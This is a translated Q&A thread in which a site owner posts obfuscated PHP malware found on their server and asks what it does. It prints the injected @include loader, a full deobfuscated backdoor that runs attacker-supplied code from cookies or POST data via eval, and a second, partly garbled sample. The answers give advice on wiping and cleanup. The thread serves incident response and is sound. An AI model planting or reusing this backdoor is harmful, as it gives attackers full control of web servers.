我的网站感染了混淆的 PHP 恶意软件 - 它在做啥 + 我如何摆脱它?

Posted

技术标签:

【中文标题】我的网站感染了混淆的 PHP 恶意软件 - 它在做啥 + 我如何摆脱它?【英文标题】:My site is infected with obfuscated PHP malware - what is it doing + how do I get rid of it?我的网站感染了混淆的 PHP 恶意软件 - 它在做什么 + 我如何摆脱它? 【发布时间】:2017-08-29 22:14:03 【问题描述】:

我有三个网站都托管在同一个网络服务器上。最近我在其中一个网站上工作,并注意到大约一个月前,一堆文件已被更改。具体来说,index.html 的所有实例都已重命名为 index.html.bak.bak,并且 index.php 文件已放置在它们的位置。 index.php 文件比较简单;它们包含一个隐藏在每个网站文件系统中某处的文件(似乎是一个随机文件夹),该文件已被 JS 十六进制编码混淆,然后回显原始 index.html:

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');

这里包含的文件是

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

在另一个域上,它是

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

正如您可能猜到的那样,这些实际上并不是网站图标——它们只是具有不同扩展名的 php 文件。现在,我不知道这些文件做了什么(这就是我在这里问的原因)。它们完全被混淆了,但https://malwaredecoder.com/ 似乎能够破解它。 The results can be found here, 但我在下面粘贴了去混淆的代码:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))

    define("PHP_EOL", "\n");


if(!defined("DIRECTORY_SEPARATOR"))

    define("DIRECTORY_SEPARATOR", "/");


if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))

    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    
        function file_put_contents($n, $d, $flag = False)
        
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            
                return 0;
            
            else
            
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            
        
    

    if (!function_exists('file_get_contents'))
    
        function file_get_contents($filename)
        
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        
    
    function cs_get_current_filepath()
    
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    

    function cs_decrypt_phase($data, $key)
    
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            
        

        return $out_data;
    

    function cs_decrypt($data, $key)
    
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    
    function cs_encrypt($data, $key)
    
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    

    function cs_get_plugin_config()
    
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        
        else
        
            $plugins = Array();
        

        return $plugins;
    

    function cs_set_plugin_config($plugins)
    
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        
        else
        
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        

        @file_put_contents(cs_get_current_filepath(), $self_content);
    

    function cs_plugin_add($name, $base64_data)
    
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    

    function cs_plugin_rem($name)
    
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    

    function cs_plugin_load($name=NULL)
    
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        
            if ($name)
            
                if (strcmp($name, $pname) == 0)
                
                    eval($pcontent);
                    break;
                
            
            else
            
                eval($pcontent);
            
        
    

    foreach ($_COOKIE as $key=>$value)
    
        $data = $value;
        $data_key = $key;
    

    if (!$data)
    
        foreach ($_POST as $key=>$value)
        
            $data = $value;
            $data_key = $key;
        
    

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    
        if ($data['a'] == 'i')
        
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        
        elseif ($data['a'] == 'e')
        
            eval($data['d']);
        
        elseif ($data['a'] == 'plugin')
        
            if($data['sa'] == 'add')
            
                cs_plugin_add($data['p'], $data['d']);
            
            elseif($data['sa'] == 'rem')
            
                cs_plugin_rem($data['p']);
            
        
        echo $data['ak'];

    

    cs_plugin_load();

另外,在网站的其中一个内容文件夹中有一个名为init5.php的文件,经过尽可能去混淆处理后,变成:

$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
@>P>r"$,('$66N6rTNj', NULL);
@>P>r"$,('TNjr$66N6"', 0);
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)

    $p98c0e = "";

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
    
        for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
        
            $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
        
    

    return $p98c0e;


function la30956($w6f96424, $afb8d)

    global $y10a790;

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);


foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)

    $w6f96424 = $ua56c9d;
    $s02c4f38 = $afb8d;


if (!$w6f96424)

    foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
    
        $w6f96424 = $ua56c9d;
        $s02c4f38 = $afb8d;
    


$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])

    if ($w6f96424['3'] == '>')
    
        $r035e7 = Array(
            '@=' => @@)@=$6">NP(),
            '"=' => 'x%<Fx',
        );
        echo @"$6>3T>a$($r035e7);
    
    elseif ($w6f96424['3'] == '$')
    
        eval($w6f96424['`']);
    


我看的越多,混淆的 PHP 文件就越多,这有点吓人。他们有。甚至 Wordpress 的 index.php 文件似乎也被感染了;已将混淆的@includes 添加到其中。此外,在其中一个网站上,有一个名为“ssh”的文件,它似乎是某种二进制文件(可能是“ssh”程序本身?)

有谁知道这些是什么或做什么?他们是如何进入我的服务器的?我怎样才能摆脱它们并确保它们永远不会回来?

其他一些信息:我的虚拟主机是 Laughing Squid;我没有外壳访问权限。该服务器运行 Linux、Apache 2.4 和 PHP 5.6.29。谢谢!

【问题讨论】:

您是否有文件被感染前的备份?您最好的选择是对服务器进行核攻击并重置所有内容。你不知道还有什么可能被感染,所以尝试狩猎或冒险留下任何东西是没有意义的,从头开始。 它可能试图向访问您网站的人发送恶意软件 - 关闭网站以限制它对他人造成的损害,确保您有任何备份重要内容,然后将其从轨道上摧毁并从头开始重建。 更改您的密码以访问您的主机。删除所有文件。从备份中恢复。请记住,他们现在有了您的数据库密码。如果您将其与您的主机访问权限共享,他们将完全控制您的帐户。 不幸的是没有备份,但没有什么重要的事情不能重做——我猜只是浪费时间重建网站。备份将从现在开始进行。唯一的问题是我们想要保留许多媒体文件——这些文件已经在那里存档了多年并且非常重要。有什么方法可以确保这些文件没有被感染并安全存档? 你会想阅读How do I deal with a compromised server? 【参考方案1】:

此时您无法信任服务器上的任何内容。

重新安装操作系统

使用干净或已知良好的数据库版本重新安装已知良好的代码副本。

在这一点上,仅仅替换/删除“坏”文件是没有用的,因为攻击者完全可以做任何事情,从“什么都不做”到用黑客版本替换系统级软件,可以做任何想做的事情。举个例子,有人wrote malware into a compiler,所以即使重建了可执行文件,maware 仍然存在,它也阻止了调试器检测到它。

有各种可用的清理程序,但它们依赖于了解/检测/撤消攻击者可能所做的一切,这是不可能的。

如果您有良好的每日备份,您可以在“您拥有的”和“您之前拥有的”之间做一个diff,看看发生了什么变化,但是您仍然需要仔细检查或恢复您的数据库,因为许多攻击涉及更改数据,而不是代码。

【讨论】:

是的,这就是我最终要做的。【参考方案2】:

我也有同样的恶意软件。恶意软件添加或修改了 10 到 15 个文件。我使用 Quttera WordPress 插件(免费)来查找文件。大多数文件都可以删除(小心,Quttera id 比实际感染的要多),但一些 WordPress 文件已被修改,必须替换。

【讨论】:

【参考方案3】:

这不是你需要破坏你的网站和服务器的黑客。这只是一个 php hack。摆脱所有恶意的 php 文件和代码,你会好起来的。这是我在drupal上的做法。 http://rankinstudio.com/Drupal_ico_index_hack

【讨论】:

这太棒了。刚刚面对这个,这就像一个救世主。 不,这是一个严重的后门。它允许攻击者在受感染的服务器上执行任何 PHP 代码。仅仅删除后门不会使您的系统上可能通过此后门修改的其他内容不会发生。在最坏的情况下,获得特权系统访问权限的本地漏洞已被上传并以这种方式执行。【参考方案4】:

必须自己编写一个 PHP 脚本来扫描整个服务器树,列出所有目录路径,并编写一个来扫描这些路径以查找感染。只能部分清洁,但在行人清洁方面提供了急需的帮助。

注意: 它写得不好,可能应该在使用后删除。但这对我有帮助。

压缩后的副本是here。 没有保证;在上传之前解压缩并查看您在服务器上放置的内容!

更新:现在清理更多(不是全部!)。跟进手部清洁(见下文)。

【讨论】:

zx485,感谢编辑。在终于把我的服务器清理干净后跟进。使用“压缩副本”,但是,脚本没有按照需要完成,这是一个紧急修复。运行时,立即执行此过程 - 尽量不要晕倒: * 将服务器的副本 FTP 到本地计算机。 * 搜索并列出所有 PHP 文件(祝 CMS​​ 好运) * 从实时服务器中查找并删除所有找到的“废话”.php 文件名(本地搜索给出位置) * 在实时服务器上,打开每个脚本报告的“受感染”文件并删除感染(例如使用 Filezilla >> 编辑)* 删除所有“无意义”的 .ico 和 .jpg。【参考方案5】:

我遇到了同样的问题。 它是由恶意的 http post 请求引起的。 这是一篇关于如何阻止它的好文章:

.htaccess 文件中的以下内容将停止所有发布请求。 https://perishablepress.com/protect-post-requests/

# deny all POST requests
<IfModule mod_rewrite.c>
        RewriteCond %REQUEST_METHOD POST
        RewriteRule .* - [F,L]
</IfModule>

【讨论】:

这可能会起作用,但它也会阻止大多数网站工作。有人怎么能阻止 POST 不是来自网站自己的页面?【参考方案6】:

我还没有找到,如何防止这些文件出现在我的服务器上,但我能够摆脱它们,这是一个单线器爬下文件夹并删除它们:

find . -type f -name 'favicon_*.ico' -delete -print

【讨论】:

你应该放弃整个服务器。无法保存。 我知道它已经有一段时间了,但你的服务器垃圾没有什么。您的内容中某处存在恶意 php 代码。在所有表上运行

以上是关于我的网站感染了混淆的 PHP 恶意软件 - 它在做啥 + 我如何摆脱它?的主要内容,如果未能解决你的问题,请参考以下文章

近400个政企网站感染Coinhive恶意软件,秘密挖掘加密货币

PHP被植入恶意软件后门

如何在网站上查找恶意代码/恶意软件 [关闭]

PHP/SSH 正则表达式脚本/命令从许多文件中删除相同的恶意软件代码

怎么查看电脑感染了恶意软件

4000余台ElasticSearch服务器遭PoS恶意软件感染